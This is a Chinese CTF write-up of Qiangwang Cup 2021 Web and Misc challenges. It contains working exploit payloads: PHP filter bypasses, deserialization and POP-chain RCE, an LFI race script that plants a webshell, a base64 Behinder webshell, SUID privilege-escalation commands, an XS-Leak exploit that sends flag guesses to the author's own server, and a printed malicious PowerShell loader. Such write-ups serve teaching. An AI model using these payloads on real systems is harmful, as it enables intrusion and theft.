Web
1.[强网先锋]寻宝
下发赛题,访问链接如下:
该题需要你通过信息 1 和信息 2 分别获取两段 Key 值,输入 Key1 和 Key2 然后解密。
Key1之代码审计
点击“信息1”,发现是代码审计:
完整源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
非数字
?>
核心需要 bypass 的代码如下:
第一层:要求非纯数字且大于 1024,利用 PHP 弱比较令 $num1=11111a 即可。
第二层:绕过 intval 函数(intval() 函数用于获取变量的整数值),利用科学技术法绕过长度小于 5 的限制,故令 $num2=9e9 即可。
第三层:substr(md5) 取值为某个值,编写脚本进行 MD5 碰撞,计算出num3 为 61823470,脚本如下:
import hashlib
def md5_encode(num3):
return hashlib.md5(num3.encode()).hexdigest()[0:7]
for i in range(60000000,700000000):
num3 = md5_encode(str(i))
# print(num3)
if num3 == '4bf21cd':
print(i)
break
运行结果如下:
第四层:科学计数法绕过,长度为 7 且为 0,num4 为 0e00000。
第五层:json_decode()函数接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,如果 json 无法被解码(非 json 格式时)将会返回 null ,故令 num5 等于 1a (任意字符串即可)。
故最终 Payload:
ppp[number1]=11111a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e00000&ppp[number5]=1a
POST提交获得 Key1:
KEY1{e1e1d3d40573127e9ee0480caf1283d6}
Key2之脚本搜索
1、提示信息给了一个下载链接:
2、解压后得到一堆 docx 文件:
3、随便打开一个发现是一堆字符:
4、猜测 Key2 就在其中某一个文件中,写脚本跑:
import os
import docx
for i in range(1,20):
for j in range(1,20):
path = "./5.{0}/VR_{1}".format(i,j)
files = os.listdir(path)
# print(filePath)
for file in files:
try:
fileName = path+"/"+file
# print(fileName)
file = docx.Document(fileName)
for content in file.paragraphs:
# print(content.text)
if "KEY2{" in content.text:
print(content.text)
print(fileName)
break
except:
pass
运行结果如下:
得到 KEY2 :
KEY2{T5fo0Od618l91SlG6l1l42l3a3ao1nblfsS}
在原页面上提交获取 flag:
2.[强网先锋]赌徒
3.WhereIsUWebShell
源码
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>
入口的 COOKIE 存在反序列化
去掉最后的大括号,利用反序列化报错来防止进入 Exception
O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D
e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
bff139fa05ac583f685a523ab3d110a0.php
<?php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
?>
45b963397aa40d4a0063e0d85e4fe7a1.php
<?php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=passwd&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp
当前应该是在 /etc 目录下(?
不过没啥用,不能直接读 /flag,或者说 flag 不在根目录
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
可以导致 php 在执行过程中 Segment Fault
本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
魔改他的脚本
# -*- coding: utf-8 -*-
import requests
import string
import itertools
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"
def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
print(response)
except Exception as e:
print(e)
def generate_tmp_files():
with open('miao.png', 'rb') as fin:
file_content = fin.read()
phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (
base_url)
length = 6
times = int(len(charset) ** (length / 2))
for i in range(times):
print("[+] %d / %d" % (i, times))
upload_file_to_include(phpinfo_url, file_content)
def main():
generate_tmp_files()
if __name__ == "__main__":
main()
图片是个长宽相等的 png,里面放木马。
上传过程中就会留下一些文件不会被删除。
一边跑这个脚本,另一边的一堆 /tmp/phpxxxxxx 里就存在我们的 webshell
由于会自动删除,没了就换新的
根目录果然没 flag
然后利用 shell 发现 /usr/bin 下面有个文件可以以 root 权限执行命令
find / -user root -perm -4000 -print 2>/dev/null
# 或者
# find / -perm -u=s -type f 2>/dev/null
flag 在 /l1b 下一个绕来绕去的目录里面
或者
find / -perm 600 -user root
最后执行
/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
POST /e2a7106f1cc8bb1e1318df70aa0a3540.php?b822f88a-de15-4dc8-923b-1cbeec54bcfc=/tmp/phpi8bEt1&0=system HTTP/1.1
Host: eci-2zehg7ugvk0ahcsnkehl.cloudeci1.ichunqiu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=1769d95cb5b54d-04781d3935eefa-c791039-1fa400-1769d95cb5c669; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1611909425; ctfer=s%3A5%3A%22ctfer%22%3B; __jsluid_h=847d751b863f86e3ed743f9efb5d5c4f
Connection: close
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
1=/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/82a71a2d/e17e0f28/74cb5ced/8f93ff64/3396136a/Fl444ggg160b5c41
flag{b101e657-a46a-4791-abcb-5be544fc12bd}
4.EasyWeb
SQL注入得密码
1、提示信息收集,那么先扫一波端口:
2、访问该端口是一个登陆页面:
3、简单测试发现是未过滤的 SQL 注入:
4、直接上 Sqlmap(sqlmap.py -r 123.txt --dbms MySQL -p "username" -D easyweb -T employee -C "username,password" --dump,不知为何,此题发现必须加上--dbms MySQL -p "username"参数才能正常跑 sqlmap),获得账户密码,尴尬的是一开始以为密码得解密后才能登录,后来队友说直接输入就行……
5、登陆后围绕系统标题栏 EasySSRF 的提示,一通搜索企图利用 SSRF 读取本地 flag 文件,无果……
上传木马并提权
1、尝试 SSRF 无果,无奈继续信息搜集,扫描路径,发现 file 路径可上传文件:
2、尝试上传 php 一句话木马,被拦截了,Fuzz 了一下发现是后缀+内容过滤,不能传 jpg 这些,猜测用.htaccess上传漏洞,发现也存在过滤:
3、此处过滤了 application,用 php5-script 绕过即可:
4、随后上传木马文件,传马发现 php 不能闭合,并且过滤了一些危险函数,fuzz 一下得到:
5、成功连接木马:
6、然而发现 flag 文件无法读取……权限不足,读取 hint 文件获得提示:
7、提示信息要求继续进行信息收集,接下来的操作比赛时我没搞懂,故盗用别人的解题过程……使用命令netstat –apn查看服务器所有的进程和端口使用情况,留意到 8006 端口为 JBoss 服务:
在终端使用 curl 命令请求访问 8006 端口的服务页面:
8、访问 1.qwer 木马文件,写入冰蝎马(方便利用冰蝎做内网穿透,将靶机内网服务映射到本地):
/1.qwer?1=file_put_contents('b.php',base64_decode('PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K%2Bl5a%2BG6ZKl5Li66L%2Be5o6l5a%2BG56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je%2B8jOm7mOiupOi%2FnuaOpeWvhueggXJlYmV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSgpOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGVjb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHBsb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kYXJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmFsKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7Cj8%2BCg%3D%3D'));
9、接着使用冰蝎客户端的“内网穿透”建立 HTTP 隧道,将靶机的 8006 端口映射到物理机的 2222 端口:
随后本地物理机浏览器即可访问 2222 端口,为 JBoss 默认页面:
10、最后使用 JexBoss 脚本一把梭https://github.com/SpartansHackTeam/Jexboss,获得 Shell 为 root 权限,即可查看 flag 如下:
本题最后补充两个知识点:
冰蝎 3.0 内网穿透(代理)功能详解:冰蝎v3.0操作使用手册 ;
JexBoss 脚本工具的使用:JBoss未授权访问漏洞Getshell过程复现。
5.EasyXSS
The BOT starts every five seconds and handles only one reported URL at a time. The BOT is Google-Chrome 91.0.4472.77 (Official Build) (64-bit)
Notice: the address requested by the BOT is http://localhost:8888.
Each time the BOT processes a request, it clears subsequent report URLs from the database
每 15 分钟重启环境
47.104.192.54:8888
47.104.210.56:8888
47.104.155.242:8888Hint: flag格式是flag{uuid}
算是个 XS-Leaks 的题目,算是侧信道的一种吧。
通过 /hint 路由可以知道 flag 判断逻辑。
app.all("/flag", auth, async (req, res, next) => {
if (req.session.isadmin && typeof req.query.var === "string") {
fs.readFile("/flag", "utf8", (err, flag) => {
let flagArray = flag.split("");
let dataArray = req.query.var.split("");
let check = true;
for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {
if (dataArray[i] !== flagArray[i]) {
check = false;
break;
}
}
if (check) {
res.status(200).send(req.query.var);
} else {
res.status(500).send("Keyword Error!");
}
});
} else {
res.status(500).send("Sorry, you are not admin!");
}
});
/flag 路由对输入的逐个字符与 flag 的这么多个(输入的)长度的字符进行比较,如果每一位都相同则返回 200,否则返回 500.
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
根据提示 flag 是个 UUID,于是可以按照这个格式逐位爆破,通过返回的状态来判断当前字符是否正确。
访问 /about?theme=xxxxx 发现存在 XSS。不过过滤了一些东西,比如 空格可以用 %09 绕过之类。
于是就在 VPS 上跑个脚本,分成功和失败两个路由,让 bot 访问自己的 /flag 路由。
如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由,否则请求 error 路由,并通过参数返回当前爆破的 flag。
exp:
from flask import Flask
from flask import request
import requests
import urllib.parse
app = Flask(__name__)
@app.route("/success")
def index():
global cookies
global url
data = request.args.get('a')
if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28:
data += "-0"
else:
data += "0"
p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
d = {
"url": p
}
requests.post(url, data=d, cookies=cookies)
return "Hello World!"
@app.route("/error")
def index2():
global cookies
global url
data = request.args.get('a')
tmp = data[:-1]
if data[-1] == "9":
tmp += "a"
else:
tmp += chr(ord(data[-1]) + 1)
data = tmp
p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
d = {
"url": p
}
requests.post(url, data=d, cookies=cookies)
return "Hello World!"
cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}
# url = "http://47.104.210.56:8888/report"
url = "http://47.104.192.54:8888/report"
app.run(host='0.0.0.0', port=80)
让 bot 从 0 开始访问,虽然容器固定时间重启,但是 flag 是静态的 uuid,所以就是时间问题了。
最后根据 VPS 上的访问记录就能得到 flag 了。
6.Hard_Penetration
7.pop_master
该题需要构造反序列化利用链 最终实现RCE
由于该题目类数量巨大1W个 编写自动化脚本构造pop链
第一步将class.php.txt转化成AST(抽象语法树) 保存为json格式
<?php
ini_set(“memory_limit”,”-1”);
echo(json_encode(ast\parse_file(“class.php”, $version=70)));
构造比较简单A->B->C->…….->包含EVAL()的class function
调用这里有几个坑 1.调用途中有参数污染(附加垃圾数据) 2.调用途中传参可能被清空 (传参被赋值未定义的变量)3.调用途中传参可能被修改 (直接赋值为垃圾数据)
所以并不是找到调用链就可以完成工作 而是需要找到可以利用的调用链
自动化代码:
PS:没有什么参考价值 只对该题可用 因为固定3种函数结构所以偷懒把参数写死了 初学py语言 第一次做AST树解析用这种笨方法)
## -*- coding: utf-8 -*-
import json
import random
import os
import string
with open("12.json") as f:
line=f.readline()
result=json.loads(line)
print(len(result['children']))
def asb(name,s,s1=''):
ee = 0
for a in result['children']:
for b in a['children']['stmts']['children']:
if 'name' in b['children'].keys():
if (b['children']['name'] == 'gG1T5D'):
ee = 0
#ee=1
if (b['children']['name'] == name):
test(a)
if(len(b['children']['stmts']['children'])==3):
q = b['children']['stmts']['children'][1]['children'][0]['children']['cond']['children']['args']['children'][1]
w = b['children']['stmts']['children'][random.randint(1,2)]['children'][0]['children']['cond']['children']['args']['children'][1]#随机分支 玄学构造
#print(s + q)
#print(s + w)
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$'+ran_str+'=new '+a['children']['name']+'();')
s11='$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#if s1!='':
# asb(w, s +w+'-->')
# asb(q, s +q+'-->')
if ee!=1:
asb(w,s,s11)# 分支函数1
#asb(q, s, s11)# 分支函数2
if ran_str == '':
exit()
print(s1 + '$' + ran_str+';')
#asb(q, s +q+'-->')
else:
if 'method' in b['children']['stmts']['children'][1]['children'].keys():# 没有分支
q = b['children']['stmts']['children'][1]['children']['method']
ran_str = ''.join(random.sample(string.ascii_letters, 8))
print('$' + ran_str + '=new ' + a['children']['name'] + '();')
s11 = '$' + ran_str + '->' + a['children']['stmts']['children'][0]['children']['props']['children'][0]['children']['name'] + '='
#print(s + q)
if ee != 1:
asb(q, s, s11)
if ran_str == '':
exit()
print(s1 + '$' + ran_str + ';')
def test(d):
#if name in {'Name','COiLxB'}:
#print('nono')
#exit()
try:
a=d['children']['stmts']['children'][1]['children']['params']['children'][0]['children']['name']
b=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['var']['children']['name']
c=d['children']['stmts']['children'][1]['children']['stmts']['children'][0]['children']['stmts']['children'][0]['children']['expr']['children']['name']
if(a==b and b!=c and a!='DgiNa'): #判断赋值是否是用不存在的变量覆盖传参
print(a,b,c)
print('no')
asb('YYdqkf', 'YYdqkf' + '-->')#重新搜索
os._exit(0)
except:
pass
asb('YYdqkf','YYdqkf'+'-->')
编写脚本处理AST
随机抽取一条构造链 检验是否正常执行(传参修改检测) 反复抽取得到可用的链
ps:例图输出与下面代码无关 找不到成功的图了
此处省略3M大小的源class
$a=new WK4tcG();$prXsQMfO=new WK4tcG();$DLcTtAga=new xaeGnG();$lcbgRpGI=new oAMzcx();$IatldcbW=new p38LCI();$nULgbaKw=new GbfW4c();$ASyQaYMV=new m2s3zO();$GMwztlCS=new PgSSqR();$MegPsOnX=new RLuIRL();$neJOwgfu=new WykBAC();$PNHChDce=new g6hgDh();$BzceWjKp=new HDaeRV();$YThMXwcb=new bREm3w();$xWVjhwmO=new D0aZh5();$BIbCvgZD=new T9NX4U();$prvhXPMW=new eWciOL();$NVHbgdzD=new TqWDlm();$mszgihWC=new XoFA87();$vDBkPwqO=new MU1ai5();$ZYHhsIid=new eHtdBF();$ZYHhsIid->V7XKdgi=new DNUWgV();$vDBkPwqO->zXEmp6T=$ZYHhsIid;$mszgihWC->z35pfqP=$vDBkPwqO;$NVHbgdzD->KGgGFnb=$mszgihWC;$prvhXPMW->D6qeYVK=$NVHbgdzD;$BIbCvgZD->UwQCEH2=$prvhXPMW;$xWVjhwmO->ST8sCZq=$BIbCvgZD;$YThMXwcb->pMgtiwK=$xWVjhwmO;$BzceWjKp->OO72gIu=$YThMXwcb;$PNHChDce->GYBlHLq=$BzceWjKp;$neJOwgfu->yWYNYcP=$PNHChDce;$MegPsOnX->dFy0Irz=$neJOwgfu;$GMwztlCS->Cs99EPC=$MegPsOnX;$ASyQaYMV->QidIkAq=$GMwztlCS;$nULgbaKw->gE4DrP9=$ASyQaYMV;$IatldcbW->OksedLV=$nULgbaKw;$lcbgRpGI->SUxaKsh=$IatldcbW;$DLcTtAga->u3832FP=$lcbgRpGI;$a->fBuH5Og=$DLcTtAga;//$a = $_GET['pop'];$b = $_GET['argv'];echo serialize($a);//$a = unserialize($a);//var_dump($a);$a->YYdqkf($b);
生成序列化文本
?pop=O:6:%22WK4tcG%22:1:{s:7:%22fBuH5Og%22;O:6:%22xaeGnG%22:1:{s:7:%22u3832FP%22;O:6:%22oAMzcx%22:1:{s:7:%22SUxaKsh%22;O:6:%22p38LCI%22:1:{s:7:%22OksedLV%22;O:6:%22GbfW4c%22:1:{s:7:%22gE4DrP9%22;O:6:%22m2s3zO%22:1:{s:7:%22QidIkAq%22;O:6:%22PgSSqR%22:1:{s:7:%22Cs99EPC%22;O:6:%22RLuIRL%22:1:{s:7:%22dFy0Irz%22;O:6:%22WykBAC%22:1:{s:7:%22yWYNYcP%22;O:6:%22g6hgDh%22:1:{s:7:%22GYBlHLq%22;O:6:%22HDaeRV%22:1:{s:7:%22OO72gIu%22;O:6:%22bREm3w%22:1:{s:7:%22pMgtiwK%22;O:6:%22D0aZh5%22:1:{s:7:%22ST8sCZq%22;O:6:%22T9NX4U%22:1:{s:7:%22UwQCEH2%22;O:6:%22eWciOL%22:1:{s:7:%22D6qeYVK%22;O:6:%22TqWDlm%22:1:{s:7:%22KGgGFnb%22;O:6:%22XoFA87%22:1:{s:7:%22z35pfqP%22;O:6:%22MU1ai5%22:1:{s:7:%22zXEmp6T%22;O:6:%22eHtdBF%22:1:{s:7:%22V7XKdgi%22;O:6:%22DNUWgV%22:1:{s:7:%22bieiHE3%22;N;}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//
访问即可getflag
Misc
1.签到
flag{welcome_to_qwb_s5}
2.BlueTeaming
Powershell scripts were executed by malicious programs. What is the registry key that contained the power shellscript content?(本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
首先使用 volatility 将内存中的 register hive 导出来.
volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .
题目中说到可能和 powershell 恶意程序有关系,那么优先考虑 SOFTWARE 专用的字符串,使用 WRR.exe 工具检查注册表,然后全局搜索一些常见的恶意软件字段,比如 -IEX, encode decompress new-object 等等,最终能够找到恶意软件存放的注册表位置
搜到一个路径是CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication
恶意脚本是
& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
flag是 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
3.CipherMan
The attacker maliciously accessed the user’s PC and encrypted specific volumes. How to decrypt the volume?(本题flag为非正式形式)
压缩包解压密码:fantasicqwb2021
volatility -f memory imageinfo
volatility -f memory --profile=Win7SP1x86_23418 filescan | grep 'txt'
volatility -f memory --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000007e02af80 -D ./
BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100
BitLocker驱动器加密恢复键
恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。
如果您想确认此密钥是否正确,请比较恢复屏幕上显示的和ID。
恢复密钥ID:168F1291-82C1-4B
整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键:
221628-533357-667392-449185-516428-718443-190674-375100
DiskGenius 解密
Wow,you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
找了半天最后发现这个内容就是 flag。。
赛后发现是原题
4.ExtremelySlow
压缩包解压密码:fantasicqwb2021
首先是一个流量包,里面全是 TCP 和 HTTP 流量。而且是 206 分段传输,每个包传 1byte。
于是先导出为 JSON,然后写个脚本提取其中的每个 byte,最后合并得到一个二进制文件。
wireshark 直接导出的 JSON 里 http.response.line 包含多个,如果直接用 json.loads 只保留最后一个了,所以先要去掉无关的内容。
import json
import re
with open('http.json', 'r', encoding='utf-8') as fin:
s = fin.read()
re_num = re.compile(
r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')
re_nonnum = re.compile(
r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')
s1 = re.sub(re_nonnum, '', s)
with open('http_sub.json', 'w', encoding='utf-8') as fout:
fout.write(s1)
http = json.loads(s1)
total = [b''] * 1987
# total = [''] * 1987
idx_list = []
for x in http:
source = x['_source']
layers = source['layers']
# get data
data = layers['data']['data.data']
data = bytes([int(data, 16)])
# find index
n = layers['http']['http.response.line']
idx = int(re.search(r'(\d+)-\d+/1987', n)[1])
idx_list.append(idx)
total[idx] = data
print(total)
t = b''.join(total)
# t = ''.join(total)
# print(len(t)/2)
with open('decode.pyc', 'wb') as f:
f.write(t)
# with open('decode1.pyc', 'w') as f:
# f.write(t)
或者直接命令行用 tshark 更快,不过当时就没想到这么写喵呜呜呜。
按 index 把这个合并就行,bash 脚本类似这样
tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null
根据文件内容得知是个 pyc 文件。
但是直接拿在线工具或者 uncompyle6 反编译都不成,发现 magic number 有误。
参考
Python Uncompyle6 反编译工具使用 与 Magic Number 详解
https://github.com/google/pytype/blob/master/pytype/pyc/magic.py
可以发现文件头的这个 magic number 是随版本号递增的,而且比最新的 3.9.5 跨了一大截。
于是考虑拉个 py3.10 的镜像下来。
docker run --rm -it python:3.10.0b2
根据 magic number 确定就是最新的 Python 3.10.0b2
但还是需要反编译这个pyc
uncompyle6 https://pypi.org/project/uncompyle6/ 目前只支持 python 2.4-3.8
https://github.com/rocky/python-decompile3 不行
dis 可
>>> import marshal, dis
>>> with open('decode.pyc','rb') as f:
... metadata = f.read(16)
... code_obj = marshal.load(f)
...
>>> dis.dis(code_obj)
4 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (sys)
6 STORE_NAME 0 (sys)
6 8 LOAD_CONST 0 (0)
10 LOAD_CONST 2 (('sha256',))
12 IMPORT_NAME 1 (hashlib)
14 IMPORT_FROM 2 (sha256)
16 STORE_NAME 2 (sha256)
18 POP_TOP
16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>)
22 LOAD_CONST 4 ('KSA')
24 MAKE_FUNCTION 0
26 STORE_NAME 3 (KSA)
26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>)
30 LOAD_CONST 6 ('PRGA')
32 MAKE_FUNCTION 0
34 STORE_NAME 4 (PRGA)
